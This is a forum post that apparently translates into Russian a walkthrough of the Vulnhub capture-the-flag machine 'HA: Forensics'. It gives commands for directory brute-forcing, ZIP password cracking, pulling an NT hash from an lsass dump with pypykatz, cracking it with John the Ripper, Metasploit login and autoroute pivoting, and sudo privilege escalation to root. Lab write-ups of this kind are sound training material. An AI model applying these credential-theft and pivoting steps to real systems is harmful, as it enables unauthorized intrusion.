• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья HA: Forensics: Vulnhub Walkthrough

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Сегодня мы собираемся взломать эту уязвимую машину под названием HA: Forensics. Это испытание типа "Захват флага". Он содержит ЧЕТЫРЕ флага, которые доступны по мере выполнения лабораторной работы на основе подсказок. Это машина, ориентированная на криминалистику.

Загрузите лабораторную отсюда https://www.vulnhub.com/entry/ha-forensics,570/

Методология тестирования на проникновение

- Сетевое сканирование

* Netdiscover
* Nmap

- Флаг #1
* Просмотр службы HTTP
* Брутфорс каталога с использованием dirb
* Перечисление файла изображения
* Извлечение метаданных файла изображения
* Чтение флага #1

- Флаг #2
* Брутфорс каталога с использованием dirb
* Расшифровка PGP
* Создание словаря с использованием crunch
* Запуск словаря на ZIP-файле
* Чтение флага #2

- Флаг #3
* Перечисление файлов DMP с помощью pypykatz
* Извлечение хэша NT
* Взлом хеша с помощью John the Ripper
* SSH-вход с использованием Metasploit
* Конвертировать SSH в Meterpreter
* Перечисление сетевых интерфейсов
* Автоматическая маршрутизация внутреннего экземпляра докера
* Подключиться к службе FTP как анонимус
* Скачивание файла образа
* Передача файла образа на локальный компьютер
* Анализ файла изображения с помощью Autopsy
* Чтение флага #3

- Флаг #4
* Расшифровка Base64
* Перечисление разрешений для Sudo
* Использование разрешений Sudo для ВСЕХ
* Чтение флага #4

Прохождение

Сетевое сканирование


Чтобы атаковать любую машину, нам нужно найти IP-адрес машины. Это можно сделать с помощью команды netdiscover. Чтобы найти IP-адрес, нам необходимо связать MAC-адрес машины, который можно получить из параметра конфигурации виртуальной машины. IP-адрес машины в нашем случае 192.168.0.174.

Bash:
netdiscover

1.png


После сканирования netdiscover нам потребуется сканирование nmap, чтобы получить информацию о службах, запущенных на виртуальной машине. Агрессивное сканирование nmap показывает, что в приложении запущены 2 службы: SSH(22) и HTTP(80).

Bash:
nmap -A 192.168.0.174

2.png


Перечисление

Поскольку на виртуальной машине запущена служба HTTP, давайте взглянем на размещенную веб-страницу:


3.png


На веб-странице есть кнопка с надписью "Щелкните здесь, чтобы получить флаг!". Обязательно щелкните по нему

Флаг #1

Мы видим, что веб-страница представляет собой простую страницу с некоторыми изображениями судебной экспертизы. Ничего особенного. Следующим по задачам перечисления был брутфорс директории. Мы использовали наш надежный инструмент dirb для перебора каталогов.


4.png


Это дало нам каталог изображений. Мы просмотрели его через веб-браузер и нашли два изображения, которые называются ДНК и отпечаток пальца. Мы проверили ДНК, это была просто кроличья нора. Затем мы загрузили файл fingerprint.jpg в локальную систему для дальнейшего анализа.

5.png


Эта машина основана на криминалистической экспертизе, и у нас есть изображение, Exiftool кажется правильным инструментом для использования. Просто взглянув на метаданные изображения с помощью Exiftool, мы увидим, что у нас есть первый флаг!

exiftool fingerprint.jpg

6.png


Флаг #2

Теперь перечисление не всегда заканчивается одной версией брутфорса директорий. В случае сомнений всегда используйте фильтр расширения для dirb. Мы перешли на txt-фильтр, и у нас есть несколько советов.

Bash:
dirb http://192.168.0.174 -X .txt

7.png


Посмотрев на файл tips.txt, мы увидим, что это своего рода файл robots.txt с названием tips. Поскольку мы находимся на охоте за флагами, мы решили сначала просмотреть файл flag.zip.

8.png




Это дало нам возможность сохранить файл. Давай сделаем это.

9.png


Теперь, когда у нас есть zip-файл в нашей локальной системе, пришло время извлечь содержимое этого файла. Мы используем команду unzip для извлечения файлов внутри файла flag.zip. Требуется пароль. У нас его нет !!

10.png


Вернемся к веб-браузеру и файлу советов. Вот папка с именем igolder. Он напоминает веб-сайт, который шифрует и расшифровывает сообщения с открытым и закрытым ключами. Мы просматриваем папку и видим, что есть еще один текстовый файл с именем clue.txt. При чтении файла мы видим, что это комбинация закрытого ключа и сообщения.


11.png


Чтобы расшифровать сообщение, мы зашли на сайт igolder и вставили закрытый ключ PGP и зашифрованное сообщение из файла clue.txt. После нажатия кнопки "Расшифровать сообщение" мы получили секретное сообщение. Оно говорит нам, что пароль состоит из 6 символов, причем первые 3 - это буквы "for", а последние 3 - числовые символы.

12.png


Всякий раз, когда мы находимся в ситуации, когда у нас есть какой-то частичный намек на пароль, мы используем crunch, чтобы создать словарь, соответствующий этому шаблону. Мы использовали crunch и создали словарь для взлома пароля с именем dict.txt. Используя fcrackzip, мы взломали пароль — for007.

Мы распаковываем файл, и у нас есть файл pdf с пометкой flag. Мы также получаем файл DMP, но об этом позже.

Bash:
crunch 6 6 -t for%%% -o dict.txt
fcrackzip -u -D -p dict.txt flag.zip
unzip flag.zip

13.png


Давайте откроем файл PDF и взглянем на наш второй флаг

14.png

Флаг #3

Теперь у нас есть 2 флага, еще 2 осталось. Мы получили файл DMP из предыдущего раздела. В криминалистике файл дампа можно проверить с помощью pypykatz. Итак, мы будем использовать его, чтобы проверить наличие подсказок внутри.

Bash:
pypykatz -lsa -k /root/Downloads minidump lsass.DMP

15.png


Внимательно изучив файл DMP, мы находим хеш-файл NT для пользователя jasoos. Это означает детектив на хинди. Это может быть ключом к разгадке.

16.png


Мы копируем хэш и вставляем его в файл с именем hash. Теперь у нас есть хеш-файл, и для его взлома нам понадобится John the Ripper. После обработки John the Ripper даст нам пароль. Это был "Password@1". Это не супер безопасно, правда?

Bash:
john --format=NT hash

17.png


Теперь здесь мы можем напрямую подключиться через SSH, но вход в систему с использованием Metasploit лучше, поскольку он имеет массу инструментов для пост-эксплуатации, которые можно использовать впоследствии. Следовательно, используя модуль ssh_login, мы получаем сеанс SSH на машине как пользователь jasoos. Используя сценарий shell_to_meterpreter, мы получили сеанс meterpreter на целевой машине.

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.0.174
set username jasoos
set password Password@1
exploit
session -u 1

18.png


Используя команду ifconfig, мы видим, что в приложении запущен интерфейс докера с IP-адресом 172.17.0.1.

Это внутренний IP-адрес; означает, что мы не можем получить к нему доступ извне.

sessions 2
ifconfig

19.png


Нет необходимости паниковать. Metasploit здесь за спиной. Он имеет эксплойт autoroute, который может маршрутизировать сеть таким образом, чтобы внутренний IP-адрес был доступен извне. Autoroute создаст новый хост для соединения, трафик которого будет перенаправлен на внутреннюю службу. Но Autoroute не сообщает нам IP-адрес нового хоста. Итак, нам нужно выполнить проверку связи, чтобы найти этот конкретный IP-адрес, который можно использовать для дальнейшего эксплуатпрования цели. Ping sweep дает нам IP-адрес. Это 172.17.0.2. Теперь, когда мы знаем целевой IP-адрес, давайте посмотрим, какой именно сервис представляет собой этот экземпляр докера, работающий в данный момент. Сканирование портов показывает, что это служба FTP. Но эта услуга нам неизвестна. У нас нет никаких логинов паролей. Но в службе FTP есть функция, при которой анонимный пользователь может войти в систему и получить доступ к файлам через FTP. Чтобы убедиться, что этот FTP имеет такую конфигурацию, мы используем анонимный сканер ftp в Metasploit.

use post/multi/manage/autoroute
set session 2
exploit

use post/multi/gather/ping_sweep
set session 2
set rhosts 172.17.0.0/24
exploit

use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2
set port 1-100
exploit
use auxiliary/scanner/ftp/anonymous


20.png


Он говорит, что ftp разрешает анонимное обслуживание. Итак, давайте перечислим FTP-сервис, подключившись к нему как анонимус. У нас есть каталог под названием pub. Внутри этого каталога у нас есть файл с расширением 001. Похоже, это файл изображения, который обычно используется в форензике. Это называется sabot, который известен как "саботаж". Это означает "Доказательства" на хинди.

Bash:
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
ftp 172.17.0.2
anonymous
ls
cd pub
ls
get saboot.001

21.png


Теперь, используя HTTP-сервер Python в одну строку мы переносим файл с целевой машины на нашу локальную машину.

Bash:
exit
ls
python -m SimpleHTTPServer

22.png


Когда Python запускается и предоставляет службу на порту 8000, мы просматриваем этот порт и получаем наш файл saboot.


23.png

Мы решили использовать инструмент Autopsy Forensic Investigation для проверки сделанного изображения. Его можно запустить с помощью следующей команды. Он сообщает нам, что Autopsy доступно на локальном порту 9999. Давай его откроем.

24.png


Здесь у нас есть веб-интерфейс для Autopsy. Нажимаем на кнопку New Case.

25.png


Мы вводим имя в Case, вводим описание и вводим имя Investigator для целей документации. И снова нажмите кнопку New Case.

26.png


Теперь создается дело. После создания дела требуется хост для этого дела. Он запрашивает имя хоста. После ввода имени нажмите кнопку "Add Host", чтобы продолжить.

27.png


После создания хоста нам попросят добавить файл образа. Это шаг, на котором мы добавляем файл образа, полученный с целевой машины.

29.png


Программа запрашивает расположение файла образа. Поскольку мы загрузили его из нашего веб-браузера, он должен находиться в папке "Downloads". Мы предоставляем путь, как показано на изображении ниже. Кроме того, выберите Partition в параметре Тип. Поскольку это раздел, иначе он был бы намного больше. Диски больше, чем разделы. После завершения нажмите кнопку "Next", чтобы продолжить.

30.png


Здесь он запрашивает дополнительные опции. Пусть они будут по умолчанию и нажмите кнопку "Add".

31.png


Теперь, когда наш образ смонтирован пришло время для анализа. Это можно сделать, как показано на изображении ниже.

32.png


Видим, что у нас куча файлов. Среди этих файлов у нас есть 2 текстовых файла. Файл флага и файл creds. Давайте взглянем на наш третий флаг.

33.png


Флаг #4

Теперь у нас есть файл creds.txt. Мы смотрим на него и обнаруживаем внутри зашифрованный текст.

34.png

Похоже, это кодировка Base64. Мы используем команду echo с декодером base 64, как показано на изображении ниже. Это может быть пароль другого пользователя.

35.png


Мы перечислили домашний каталог и обнаружили, что есть еще один пользователь по имени forensics. Пароль должен быть для этого пользователя. Мы используем команду su для входа в систему как forensic и найденный пароль. Теперь мы используем команду sudo -l, чтобы узнать, какие двоичные файлы мы можем использовать для повышения привилегий. Мы находим, что ВСЕ разрешено. Итак, мы просто используем команду sudo bash и получаем рут.
Затем найдите последний флаг в корневом каталоге, и у нас есть четвертый и последний флаг.

Bash:
cd /home
ls
su forensics
jeenaliisagoodgirl
sudo -l
sudo bash
cd /root
cat root.txt

36.png



Источник https://www.hackingarticles.in/ha-forensics-vulnhub-walkthrough/
Автор перевода: yashechka
Переведено специально для https://xss.pro
 
Всего 10 лайков и я сниму видеоролик к переводу ? ? ?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх